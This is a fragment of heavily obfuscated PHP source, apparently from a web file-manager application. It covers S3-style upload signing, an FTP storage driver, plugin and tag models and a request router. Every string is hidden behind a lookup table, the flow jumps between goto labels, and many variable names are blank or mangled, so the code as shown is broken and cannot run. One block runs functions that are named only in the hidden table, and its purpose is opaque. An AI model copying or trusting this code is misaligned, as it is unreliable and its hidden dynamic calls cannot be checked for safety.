uploadFormData($, $ʺ = 3600) { $ =& $_SERVER[ϋ]; $ = $[220]; $ﱯ = $[261]; $ = $[62]; $ = gmdate($[262]); $ = gmdate($[263]); $ۘ = $[264]; $ʈ = $ʺ . $[12]; $̓ = $[265]; $ = array($this->accessKey, $, $this->region, $, $ۘ); $ԅ = implode($[8], $); $ަ = array($[266] => gmdate($[267], strtotime($[268])), $[269] => array(array($[270] => $this->bucket), array($[271] => $), array($[272], $[273], $[12]), array($[272], $[274], $[12]), array($[272], $[275], $[12]), array($[276] => $̓), array($[277] => $ԅ), array($[278] => $ﱯ), array($[279] => $), array($[280] => $ʈ))); $ = base64_encode(json_encode($ަ)); $Ȕ = hash_hmac($[281], $, $[282] . $this->secret, !0); $矕 = hash_hmac($[281], $this->region, $Ȕ, !0); $ԫ = hash_hmac($[281], $, $矕, !0); $ǯ = hash_hmac($[281], $ۘ, $ԫ, !0); $Ж = hash_hmac($[281], $, $ǯ); $똑 = array($[237] => $[12], $[283] => $[12], $[271] => $, $[276] => $̓, $[284] => $, $[285] => $ԅ, $[286] => $ﱯ, $[287] => $, $[288] => $ʈ, $[289] => $Ж, $[199] => $this->getHost()); return $똑; } } goto eꇶ; dګ: class GroupTagModel extends ModelBase { protected $tableName = "\165\x73\x65\162\137\146\141\166"; protected function cacheFunctionAlias($Ԯ) { $ვ =& $_SERVER[ϋ]; return array($ვ[2066] => array($Ԯ[0], $ვ[2067]), $ვ[2068] => array($Ԯ[0], $ვ[2069])); } protected function get($֞) { $Ử =& $_SERVER[ϋ]; $ = Model($Ử[570])->metaGet($֞, $Ử[2070]); $ = json_decode($, !0); return $ ? $ : array($Ử[2071] => $Ử[91], $Ử[429] => array()); } protected function set($Һݲ, $) { $ѱ =& $_SERVER[ϋ]; $ = $ ? $ : array($ѱ[2071] => $ѱ[91], $ѱ[429] => array()); return Model($ѱ[570])->metaSet($Һݲ, $ѱ[2070], json_encode($)); } protected function getByTagID($ˤ, $ᷫ) { $ =& $_SERVER[ϋ]; if (!$ˤ || !$ᷫ) { return !1; } if (!Model($[570])->getInfoSimple($ˤ)) { return !1; } $ډ = $this->get($ˤ); if (!$ډ || !isset($ډ[$[429]])) { return !1; } $ = array_find_by_field($ډ[$[429]], $[459], $ᷫ); return is_array($) ? $ : !1; } public function listSource($ǹɩ, $Ɏ) { $ =& $_SERVER[ϋ]; if ($Ɏ && !is_array($Ɏ)) { $Ɏ = array($Ɏ); } $ = $this->listData($ǹɩ); $񅉧 = array(); foreach ($ as $Ϗ) { $ = $Ϗ[$[87]]; if (!$) { continue; } if (!isset($񅉧[$])) { $񅉧[$] = array(); } $񅉧[$][] = $Ϗ[$[484]]; } $ = array(); foreach ($񅉧 as $ => $Ư) { $ܼ = !0; if (!$Ɏ) { $[] = $; continue; } foreach ($Ɏ as $݇) { if (!in_array($݇, $Ư)) { $ܼ = !1; break; } } if ($ܼ) { $[] = $; } } if (!$) { return array(); } $ԍ = array($[475] => array($[476], $), $[554] => $ǹɩ, $[181] => SourceModel::TYPE_GROUP); $ά = Model($[1388])->listSource($ԍ); if (!$ά || count($) == $ά[$[426]][$[427]]) { return $ά; } $ = array(); $ = array_to_keyvalue($ά[$[85]], $[12], $[184]); $ = array_to_keyvalue($ά[$[86]], $[12], $[184]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($ǹɩ, $); } return $ά; } protected function listData($ԣ) { $嬺 =& $_SERVER[ϋ]; $ܗ = array($嬺[1745] => 0, $嬺[542] => array($嬺[2072], 0), $嬺[480] => $嬺[2073] . $ԣ); $ = $嬺[2074]; $螹 = $this->field($)->where($ܗ)->order($嬺[2075])->select(); return $螹 ? $螹 : array(); } protected function addToTag($ߥ, $, $ړ) { $ =& $_SERVER[ϋ]; if (!$this->getByTagID($ߥ, $ړ) || !$) { return !1; } if (!Model($[876])->pathInfo($)) { return !1; } $ = array($[1745] => 0, $[542] => $ړ, $[479] => $, $[480] => $[2076] . $ߥ, $[478] => $[12], $[1956] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $, $׋) { $ =& $_SERVER[ϋ]; if (!$this->getByTagID($, $׋) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ʗ = array($[1745] => 0, $[542] => $׋, $[480] => $[2076] . $, $[479] => $); return $this->where($ʗ)->delete(); } protected function removeByTag($ʹ, $ۗܐ) { $ށ՗ =& $_SERVER[ϋ]; if (!$this->getByTagID($ʹ, $ۗܐ)) { return !1; } $ԋҎ = array($ށ՗[1745] => 0, $ށ՗[542] => $ۗܐ, $ށ՗[480] => $ށ՗[2076] . $ʹ); return $this->where($ԋҎ)->delete(); } protected function removeBySource($֌, $) { $ =& $_SERVER[ϋ]; if (!$֌ || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $Ѕ = array($[1745] => 0, $[479] => $, $[542] => array($[1063], 0), $[480] => $[2076] . $֌); return $this->where($Ѕ)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\x6d\x2e\160\x6c\x75\x67\x69\156\114\151\163\164"; public $field = array("\156\x61\x6d\145", "\163\164\141\x74\165\163", "\162\145\147\x69\145\163\164", "\x63\157\156\x66\151\147"); public function loadList($ = false) { $ڨ = array_to_keyvalue($this->listData(), $_SERVER[ϋ][32]); if ($) { return $ڨ[$]; } return $ڨ; } public function init() { $͘٤ =& $_SERVER[ϋ]; Hook::trigger($͘٤[2077]); $ = $this->loadPluginList(); foreach ($ as $ꌇݺ => $퓆) { $ٝ = $this->appAllow($ꌇݺ, $퓆); if (!$ٝ) { continue; } foreach ($퓆[$͘٤[2078]] as $ => $긘) { Hook::bind($, $긘); } } Hook::trigger($͘٤[2079]); Hook::trigger(ACTION); } public function appAllow($Ż, $ɱ, $NJ = true) { $ =& $_SERVER[ϋ]; $ݺ· = PLUGIN_DIR . $Ż . $[2080]; if (!is_array($ɱ) || !is_array($ɱ[$[2078]]) || $ɱ[$[802]] != 1 || !is_file($ݺ·)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2081]] || !$GLOBALS[$[6]][$[2082]]) { return !0; } $ɸ = explode($[50], strtolower($GLOBALS[$[6]][$[2082]])); return in_array(strtolower($Ż), $ɸ) ? !1 : !0; } if ($NJ && !Action($[2083])->checkAuth($Ż)) { return !1; } return !0; } public function unInstall($ޕ) { $ =& $_SERVER[ϋ]; $̊ = $this->loadList($ޕ); if (file_exists(PLUGIN_DIR . $ޕ)) { Hook::apply($ޕ . $[2084]); } $this->remove($̊[$[459]]); } public function changeStatus($, $䗌) { $ۓ =& $_SERVER[ϋ]; $ = $this->loadList($); if ($䗌) { Hook::apply($ . $ۓ[2085]); } $this->update($[$ۓ[459]], array($ۓ[2086] => $䗌)); } public function appRegist($ؿڪ, $) { $ =& $_SERVER[ϋ]; $ = $this->loadList($ؿڪ); if ($) { $this->update($[$[459]], array($[2078] => $)); } else { $՛ = array($[32] => $ؿڪ, $[2078] => $, $[802] => 0, $[6] => $this->getConfigDefault($ؿڪ)); $this->insert($՛); } } public function getConfigDefault($») { $ =& $_SERVER[ϋ]; $ = array(); $ĩ = $this->getPackageJson($»); if (!$ĩ && is_array($ĩ[$[2087]])) { return $; } foreach ($ĩ[$[2087]] as $ => $ᾚ) { if (!isset($ᾚ[$[434]]) || isset($[$])) { continue; } $[$] = $ᾚ[$[434]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[ϋ][2088]); } public function getConfig($, $ྂ = false) { $ =& $_SERVER[ϋ]; $ܰ = array(); $ = $this->loadList($); if ($ && is_array($[$[6]])) { $ܰ = $[$[6]]; } if (!$ܰ || $ྂ) { $ܰ = $this->getConfigDefault($); } return $ܰ; } public function setConfig($, $Ƚ霅 = false) { $ƻ =& $_SERVER[ϋ]; $ݻ = $this->loadList($); if (!$ݻ) { return !1; } $ξ = $ݻ[$ƻ[6]]; if ($Ƚ霅 == !1) { $ξ = array(); $Ƚ霅 = $this->getConfigDefault($); } foreach ($Ƚ霅 as $ => $) { $ξ[$] = is_string($) ? trim($) : $; } $this->update($ݻ[$ƻ[459]], array($ƻ[6] => $ξ)); } public function viewList() { $Μ =& $_SERVER[ϋ]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ǹ = array(); foreach ($ as $ۙ => $멊) { $Հڭ = $멊; unset($멊[$Μ[2078]], $멊[$Μ[6]]); $ = PLUGIN_DIR . $멊[$Μ[32]] . $Μ[2080]; if (!is_file($)) { continue; } $ԍ = Hook::apply($멊[$Μ[32]] . $Μ[2088]); if (!is_array($ԍ)) { continue; } $ǹ[$ۙ] = array_merge($멊, $ԍ); if ($Հڭ[$Μ[6]][$Μ[1668]] != $ԍ[$Μ[1642]]) { Hook::apply($멊[$Μ[32]] . $Μ[2085]); $Հڭ[$Μ[6]][$Μ[1668]] = $ԍ[$Μ[1642]]; $this->update($멊[$Μ[459]], array($Μ[6] => $Հڭ[$Μ[6]])); } } return $ǹ; } private function loadPluginList() { $ =& $_SERVER[ϋ]; $ = $this->loadList(); if (strtolower(MOD) == $[2089]) { return $; } $ = Hook::trigger($[2090], $); if ($ && !$) { die; } return $ ? $ : $; } private function pluginScan($ʢ) { $ݱ =& $_SERVER[ϋ]; recursion_dir(PLUGIN_DIR, $ԍ, $Ҵ, 0); foreach ($ԍ as $Ʋå) { $⯦ = get_path_this($Ʋå); if (isset($ʢ[$⯦]) || !file_exists($Ʋå . $ݱ[2091]) || !file_exists($Ʋå . $ݱ[2080])) { continue; } Hook::apply($⯦ . $ݱ[2085]); } } } if ($_SERVER[$_SERVER[ϋ][408]] != $_SERVER[$_SERVER[ϋ][1379]]) { $_getc = $_SERVER[ϋ][409]; $_getfile = $_SERVER[$_SERVER[ϋ][410]] . $_SERVER[ϋ][411]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ϋ][253], $_getfilec); if (count($_getarrs) < $_SERVER[ϋ][412]) { $exit = $_SERVER[ϋ][413]; $exit(); } $_act = $_SERVER[ϋ][414]; $_act($_SERVER[$_SERVER[ϋ][406]]); } goto Cș; A: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($ŒΝ) { parent::__construct($ŒΝ); $this->setSignVersion($_SERVER[ϋ][238]); } public function uploadFormData($ˡ, $ = 3600) { $ =& $_SERVER[ϋ]; $ӎ = $[220]; $ = $[261]; $Ɩ = $[62]; $ = gmdate($[262]); $ݥ = gmdate($[263]); $ = $[264]; $ϝ = $ . $[12]; $ = $[265]; $Ձ = array($this->accessKey, $ݥ, $this->region, $Ɩ, $); $ɪ = implode($[8], $Ձ); $ƿ = array($[266] => gmdate($[1380], strtotime($[268])), $[269] => array(array($[270] => $this->bucket), array($[271] => $ӎ), array($[272], $[273], $[12]), array($[272], $[274], $[12]), array($[272], $[275], $[12]), array($[276] => $), array($[277] => $ɪ), array($[278] => $), array($[279] => $), array($[280] => $ϝ))); $ = base64_encode(json_encode($ƿ)); $ = hash_hmac($[281], $ݥ, $[282] . $this->secret, !0); $ػ = hash_hmac($[281], $this->region, $, !0); $Έ = hash_hmac($[281], $Ɩ, $ػ, !0); $ = hash_hmac($[281], $, $Έ, !0); $ = hash_hmac($[281], $, $); $ҟ낞 = array($[237] => $[12], $[283] => $[12], $[271] => $ӎ, $[276] => $, $[284] => $, $[285] => $ɪ, $[286] => $, $[287] => $, $[288] => $ϝ, $[289] => $, $[199] => $this->getHost()); return $ҟ낞; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; public $config = array(); public function __construct($ٯ) { parent::__construct(); if (count($ٯ) > 0) { $this->_init($ٯ); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ =& $_SERVER[ϋ]; global $config; $this->appCharset = $config[$[1406]]; $this->systemCharset = $config[$[1407]]; if (isset($[$[1408]]) && $[$[1408]]) { $this->systemCharset = $[$[1408]]; } } public function iconvApp($ݞ) { return $this->iconvTo($ݞ, $this->systemCharset, $this->appCharset); } public function iconvSystem($ơ) { return $this->iconvTo($ơ, $this->appCharset, $this->systemCharset); } public function getPathOuter($) { $ =& $_SERVER[ϋ]; $覧 = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($覧, 0, 2) == $[1409]) { $覧 = BASIC_PATH . substr($覧, 2); } if (substr($, 0, 2) == $[1409]) { $ = BASIC_PATH . substr($, 2); } $覧 = KodIO::clear($覧); $ = KodIO::clear($); $ = substr($, strlen($覧)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } private function _init($ٙ = array()) { $ =& $_SERVER[ϋ]; if (!function_exists($[1410])) { throw new Exception(LNG($[1411])); } $this->config = $ٙ; $this->charsetReset($ٙ); foreach ($ٙ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } return $this->_login($ٙ); } private function _login($т) { $ =& $_SERVER[ϋ]; static $ӛݺ = array(); $ఇ = md5(json_encode($т)); if (isset($ӛݺ[$ఇ])) { foreach ($ӛݺ[$ఇ] as $´ => $ә) { $this->{$´} = $ә; } return !0; } $ = parse_url(trim($this->server, $[8])); $this->host = $[$[199]]; $ = isset($[$[198]]) && $[$[198]] == $[1412] ? !0 : !1; $this->scheme = $ ? $[1413] : $[1414]; $this->port = isset($[$[200]]) ? $[$[200]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($[1415]) . $this->host . $[4] . $this->port, !0); return !1; } $Ϭ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$Ϭ) { $this->writeLog(LNG($[1416]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ͥ = $this->pasv == $[91] ? !0 : !1; @ftp_pasv($this->connect, $ͥ); $ӛݺ[$ఇ] = array($[1417] => $this->connect, $[199] => $this->host, $[198] => $this->scheme, $[200] => $this->port); return $Ϭ; } private function _isconn($ѭ⨬ = true) { if (is_resource($this->connect)) { return !0; } if (!$ѭ⨬) { return !1; } return $this->_login($this->config); } public function mkfile($, $ = '', $Ìӛ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } $this->writeLog(LNG($_SERVER[ϋ][1418]), !0); return !1; } public function mkdir($홷, $ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $홷 = $this->iconvSystem($홷); if ($this->_isFolder($홷) || @ftp_mkdir($this->connect, $홷)) { return $this->getPathOuter($홷); } if (!$this->mkdir($this->pathFather($홷))) { return !1; } if ($홷 = @ftp_mkdir($this->connect, $홷)) { return $this->getPathOuter($홷); } $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); return !1; } public function copyFile($Ճ, $͢) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($Ճ)); $ = $this->tempFile($); $ = $this->iconvApp($); $this->download($Ճ, $); $ά = $this->upload($͢, $); $this->tempFileRemve($); return $ά; } public function moveFile($龣ď, $) { if (!$this->_isconn()) { return !1; } $龣ď = $this->iconvSystem($龣ď); $ = $this->iconvSystem($); $ = @ftp_rename($this->connect, $龣ď, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); return !1; } return $this->getPathOuter($); } public function delFile($ӷ駝) { if (!$this->_isconn()) { return !1; } $ӷ駝 = $this->iconvSystem($ӷ駝); $Ǘ = @ftp_delete($this->connect, $ӷ駝); if (!$Ǘ) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); } return $Ǘ; } public function delFolder($Ԯ) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $Ǻ = $ = array(); $this->fileList($Ԯ, $Ǻ, $, !0); $this->listItemCache = !0; foreach ($ as $ɦ) { $ = $this->iconvSystem($ɦ[$_SERVER[ϋ][32]]); $ = @ftp_delete($this->connect, $); if (!$) { return !1; } } foreach ($Ǻ as $) { $ = $this->iconvSystem($); $ = @ftp_rmdir($this->connect, $); if (!$) { return !1; } } $Ԯ = $this->iconvSystem($Ԯ); return @ftp_rmdir($this->connect, $Ԯ); } public function rename($, $ˇ) { $ =& $_SERVER[ϋ]; if (!$this->_isconn()) { return !1; } $оܑ = $this->fileNameAuto($this->pathFather($), $ˇ); $оܑ = $this->iconvSystem($оܑ); $ = $this->iconvSystem($); $ = $this->pathFather($); $Ҳ = rtrim($, $[8]) . $[8] . $оܑ; $ۊ = @ftp_rename($this->connect, $, $Ҳ); if (!$ۊ) { $this->writeLog(__FUNCTION__ . $[1419], !0); return !1; } $Ҳ = $this->iconvApp($Ҳ); return $this->getPathOuter($Ҳ); } private function folderInfo($ڱ, $ = false) { $ƨ =& $_SERVER[ϋ]; $ߩ = array($ƨ[32] => $this->pathThis($ڱ), $ƨ[87] => $this->getPathOuter($ƨ[8] . $ڱ), $ƨ[33] => $ƨ[78]); if ($) { return $ߩ; } $ߩ[$ƨ[222]] = $ߩ[$ƨ[88]] = 0; $ߩ[$ƨ[223]] = $ߩ[$ƨ[224]] = !0; return $ߩ; } private function fileInfo($۴, $ = false, $݃ = array()) { $² =& $_SERVER[ϋ]; $ = array($²[32] => $this->pathThis($۴), $²[87] => $this->getPathOuter($²[8] . $۴), $²[33] => $²[221], $²[79] => isset($݃[$²[79]]) ? $݃[$²[79]] : 0, $²[178] => $this->ext($۴)); if ($) { return $; } $[$²[222]] = $[$²[88]] = 0; $[$²[223]] = $[$²[224]] = !0; $ = $this->iconvSystem($۴); $[$²[88]] = @ftp_mdtm($this->connect, $); if (empty($݃)) { $݃ = $this->objectMeta($۴); if (!$݃) { return $; } } $[$²[79]] = $݃[$²[79]]; return $; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[ϋ][79]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($֚, &$״, &$ڠ, $Ү = false) { $˘ =& $_SERVER[ϋ]; $֚ = $this->iconvSystem($֚); if (!$this->isFolder($֚)) { return !1; } @ftp_chdir($this->connect, $˘[8]); $֚ = rtrim($֚, $˘[8]) . $˘[8]; check_abort(); $艐 = @ftp_rawlist($this->connect, $֚); if (!$艐) { $艐 = array(); } $ = array($˘[10] => 1, $˘[1331] => 1); foreach ($艐 as $) { $Ǚ = $this->_listItem($); if ($Ǚ[0] == $˘[810]) { continue; } $粲޲ = $Ǚ[8]; if (empty($粲޲) && $粲޲ !== $˘[219] || isset($[$粲޲])) { continue; } $粲޲ = $this->iconvApp($֚ . ltrim($粲޲, $˘[8])); $ = array($˘[32] => $粲޲, $˘[33] => $˘[221], $˘[79] => $Ǚ[4]); if (substr($, 0, 1) == $˘[1420]) { $[$˘[33]] = $˘[78]; $[$˘[79]] = 0; } $ކ = $[$˘[33]] == $˘[78] ? !0 : !1; $this->cacheMethodInfoSet($粲޲, $ކ, $); if ($ކ) { $״[] = $粲޲; if ($Ү) { $this->fileList($粲޲, $״, $ڠ, $Ү); } continue; } $ڠ[] = $; } $this->cacheMethodInfoSet($֚, !0); } private function _listItem($Ѝ) { if (empty($Ѝ)) { return array(); } $ꆐ = preg_split($_SERVER[ϋ][1421], $Ѝ); if (count($ꆐ) <= 9) { return $ꆐ; } $ꆐ[8] = trim(substr($Ѝ, strpos($Ѝ, $ꆐ[7]) + strlen($ꆐ[7]))); return array_splice($ꆐ, 0, 9); } public function listPath($, $ͯ = false) { $ȯ =& $_SERVER[ϋ]; if (!$this->_isconn()) { return !1; } $ñ = $ = array(); $this->fileList($, $ñ, $); foreach ($ñ as $ => $⊃) { $ñ[$] = $this->folderInfo($⊃, $ͯ); } foreach ($ as $ => $⊃) { $[$] = $this->fileInfo($⊃[$ȯ[32]], $ͯ, $⊃); } return array($ȯ[85] => $ñ, $ȯ[86] => $); } public function has($Ƥ, $׏ = false, $߀ڴ = true) { $˻ =& $_SERVER[ϋ]; $ؾ = $ƀ = array(); $ = $׏ ? !0 : !1; $this->fileList($Ƥ, $ؾ, $ƀ, $); if ($׏) { return array($˻[230] => count($ƀ), $˻[231] => count($ؾ)); } if ($߀ڴ) { if (count($ƀ)) { return !0; } } else { if (count($ؾ)) { return !0; } } return !1; } public function listAll($ݹ) { $ =& $_SERVER[ϋ]; if (!$this->_isconn()) { return !1; } $љ܎ = $˲ = array(); $this->fileList($ݹ, $љ܎, $˲, !0); $ = array_to_keyvalue($˲, $[32]); foreach ($љ܎ as $) { if (is_string($)) { $[$] = array($[79] => 0); } } return $this->listAllFiles($ݹ, $); } public function getContent($춘) { if (!$this->_isconn()) { return !1; } $춘 = $this->iconvSystem($춘); return $this->fileSubstr($춘); } public function setContent($, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $ۦ = $this->tempFile($); file_put_contents($ۦ, $); $ = $this->upload($, $this->iconvApp($ۦ)); $this->tempFileRemve($ۦ); return $; } public function fileSubstr($ꫫ, $ = 0, $Ԧڡ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($ꫫ, $, $Ԧڡ); } private function ftpRequest($, $و = 0, $Ң = false) { $ = $this->iconvSystem($); $ = $this->scheme . $this->host . $_SERVER[ϋ][4] . $this->port; $薄 = curl_init(); curl_setopt($薄, CURLOPT_URL, $ . $this->pathEncode($)); curl_setopt($薄, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($Ң) { $Сѩ = $و + $Ң - 1; curl_setopt($薄, CURLOPT_RANGE, "{$و}\55{$Сѩ}"); } curl_setopt($薄, CURLOPT_RETURNTRANSFER, 1); $¿ = curl_exec($薄); curl_close($薄); return $¿; } public function upload($, $ޕ, $ק = false, $ʔִ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ޕ = $this->iconvSystem($ޕ); $‡ = ftp_nb_put($this->connect, $, $ޕ, FTP_BINARY); while ($‡ == FTP_MOREDATA) { $‡ = ftp_nb_continue($this->connect); } if ($‡ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); return !1; } return $this->getPathOuter($); } public function download($洷, $ݿ = '') { if (!$this->_isconn()) { return !1; } $ȳ = $this->pathFather($ݿ); if (!IO::mkdir($ȳ)) { return !1; } $洷 = $this->iconvSystem($洷); $ݿ = $this->iconvSystem($ݿ); $ڗ = ftp_nb_get($this->connect, $ݿ, $洷, FTP_BINARY); while ($ڗ == FTP_MOREDATA) { $ڗ = ftp_nb_continue($this->connect); } if ($ڗ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[ϋ][1419], !0); return !1; } return $this->iconvApp($ݿ); } public function exist($􁕧) { return $this->isFile($􁕧) || $this->isFolder($􁕧); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($â) { return $this->cacheMethod($_SERVER[ϋ][169], $â); } protected function objectMeta($Ծ͏) { return $this->cacheMethod($_SERVER[ϋ][171], $Ծ͏); } protected function _objectMeta($ʶꌰ) { $ =& $_SERVER[ϋ]; if ($ʶꌰ == $[12] || $ʶꌰ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ʶꌰ = $this->iconvSystem($ʶꌰ); $螊 = array($[32] => $this->iconvApp($ʶꌰ), $[33] => $[221], $[79] => 0); @ftp_chdir($this->connect, $[8]); $ǒ = @ftp_size($this->connect, $ʶꌰ); if ($ǒ != -1) { $螊[$[79]] = $ǒ; } else { $䝭 = @ftp_chdir($this->connect, $ʶꌰ); if (!$䝭) { return !1; } $螊[$[33]] = $[78]; } return $螊; } protected function _isFolder($ٸ) { $ =& $_SERVER[ϋ]; if ($ٸ == $[12] || $ٸ == $[8]) { return !0; } $ = $this->_objectMeta($ٸ); return isset($[$[33]]) && $[$[33]] == $[78] ? !0 : !1; } } class PathDriverJOS extends PathDriverBaseS3 { public function __construct($ő׻) { parent::__construct($ő׻); $this->setSignVersion($_SERVER[ϋ][238]); } public function uploadLink($, $ = 0) { $ =& $_SERVER[ϋ]; if ($this->isUploadServer()) { return; } $ߺк = $this->getType(); if (!in_array($ߺк, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $߈ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $볪Ѡ = $this->multiUploadFormData($, $߈); if ($볪Ѡ) { $볪Ѡ[$[97]] = $; $볪Ѡ[$[98]] = $ߺк; } return $볪Ѡ; } public function fileOutImage($֋, $ = 250) { if ($this->size($֋) > 1024 * 1024 * 25) { return $this->fileOutImageServer($֋, $); } $۹ = $this->link($֋); $۹ .= $_SERVER[ϋ][1422] . $; $this->fileOutLink($۹); } public function fileOutLink($ΚЂ) { $˛ =& $_SERVER[ϋ]; if (substr($ΚЂ, 0, 7) == $˛[1377]) { $ΚЂ = $˛[1378] . substr($ΚЂ, 7); } header($˛[165] . $ΚЂ); die; } } goto cڜ; F: class Application { private $defaultModule = "\151\156\144\x65\x78"; private $defaultController = "\x69\156\144\145\170"; private $defaultAction = "\151\x6e\144\145\170"; function __construct() { } public function setDefault($) { $Փ =& $_SERVER[ϋ]; $ =& $_SERVER[]; $ = explode($[0], trim($, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $this->defaultController = $[1] ? $[1] : $this->defaultController; $̭ = $Փ[667]; if (!$̭) { return; } $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $д = $Փ[668]; if (!$д) { die; } $this->akswc10aed7f($[1], array($this, $[2])); $鯋 = $Փ[669]; if (strlen($鯋) < $Փ[412]) { return; } } public function appRun($ǥ) { $ڰ =& $_SERVER[ϋ]; $ݴ׫ =& $_SERVER[]; $ = explode($ݴ׫[0], $ǥ); $ȴ = strtolower($[0]); $ҿ = $ݴ׫[3]; $ = $ڰ[670]; if ($ȴ == $ݴ׫[4]) { $ҿ = $ݴ׫[5]; $[0] = $ݴ׫[6]; $[1] = $[1] . $ݴ׫[7]; $ǥ = join($ݴ׫[0], $); $ǥ = trim($ǥ, $ݴ׫[0]); } call_user_func(array($ݴ׫[8], $ݴ׫[9]), $ҿ . $ݴ׫[10], $ǥ); ActionCall($ǥ); call_user_func(array($ݴ׫[8], $ݴ׫[9]), $ҿ . $ݴ׫[11], $ǥ); $ = $ڰ[671]; if (strlen($) < $ڰ[672]) { return; } } private function autorun() { $ =& $_SERVER[]; global $config; if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $е => $멖) { $this->appRun($멖); $Ɋ = $_SERVER[ϋ][673]; } } private function ahzp71a84731() { $ =& $_SERVER[ϋ]; $ =& $_SERVER[]; $ڍ = $[4]; $ = $GLOBALS[$[13]][$[14]][0]; $ = $[674]; if (!$) { return; } if (!$ || strlen($) <= strlen($ڍ)) { return; } if (strtolower(substr($, -strlen($ڍ))) != $ڍ) { return; } $͆ = substr($, 0, -strlen($ڍ)); $ = $[675]; while (strlen($) < $[676]) { if (!$) { break; } $++; } $ꯞ = array($[4], $͆); $ª = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($ꯞ, $ª); $ = $[677]; while ($ < $[676]) { if ($ >= 0) { break; } $++; } $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function gows182cc8cf() { $ծ =& $_SERVER[ϋ]; $ؤ۠ =& $_SERVER[]; if ($GLOBALS[$ؤ۠[13]][$ؤ۠[15]] != $ؤ۠[6]) { return; } $׽գ = $_SERVER[$ؤ۠[16]]; $ʫ = $ծ[678]; if (strlen($ʫ) < $ծ[672]) { die; } $ފ = $ؤ۠[17]; $ = $ծ[679]; if (!$) { return; } if (!strstr($׽գ, $ފ)) { return; } $о = strrpos($׽գ, $ފ); $ũ = substr($׽գ, $о + strlen($ފ)); $䆍 = $ծ[680]; while (strlen($䆍) < $ծ[676]) { if (!$䆍) { break; } $䆍++; } preg_match_all($ؤ۠[18], $ũ, $ʃ); $ũ = trim($ʃ[0][0], $ؤ۠[19]); $GLOBALS[$ؤ۠[13]][$ؤ۠[14]] = explode($ؤ۠[19], $ũ); $GLOBALS[$ؤ۠[13]][$ؤ۠[15]] = implode($ؤ۠[0], $GLOBALS[$ؤ۠[13]][$ؤ۠[14]]); $ = $ծ[681]; } public function run() { $⌚ =& $_SERVER[ϋ]; $ŀ =& $_SERVER[]; $this->gows182cc8cf(); $this->ahzp71a84731(); $Ϧ« = $GLOBALS[$ŀ[13]][$ŀ[14]]; $ԤĜ = $⌚[682]; if (strlen($ԤĜ) < $⌚[672]) { return; } $ˠҋ = $GLOBALS[$ŀ[13]][$ŀ[15]]; $҈„ = $⌚[683]; if (!$҈„) { return; } define($ŀ[20], isset($Ϧ«[0]) && $Ϧ«[0] ? $Ϧ«[0] : $this->defaultModule); define($ŀ[21], isset($Ϧ«[1]) && $Ϧ«[0] ? $Ϧ«[1] : $this->defaultController); $𘐩 = $⌚[684]; define($ŀ[22], isset($Ϧ«[2]) && $Ϧ«[0] ? $Ϧ«[2] : $this->defaultAction); define($ŀ[23], MOD . $ŀ[0] . ST . $ŀ[0] . ACT); $݈ = $⌚[685]; if (strlen($݈) < $⌚[676]) { die; } $_SERVER[$ŀ[24]] = strtolower(ACTION); $this->autorun(); if (count($Ϧ«) >= 3) { $this->appRun($ˠҋ); } else { $this->appRun(ACTION); } } private $oged17bba83b = array(); private $hbeqc5dc2903 = ''; public function rmoa02c22634() { $뫼Ư =& $_SERVER[ϋ]; $ŗ =& $_SERVER[]; $this->lxvye9f5c37f(); $˝ = $뫼Ư[686]; while ($˝ < $뫼Ư[412]) { if ($˝ 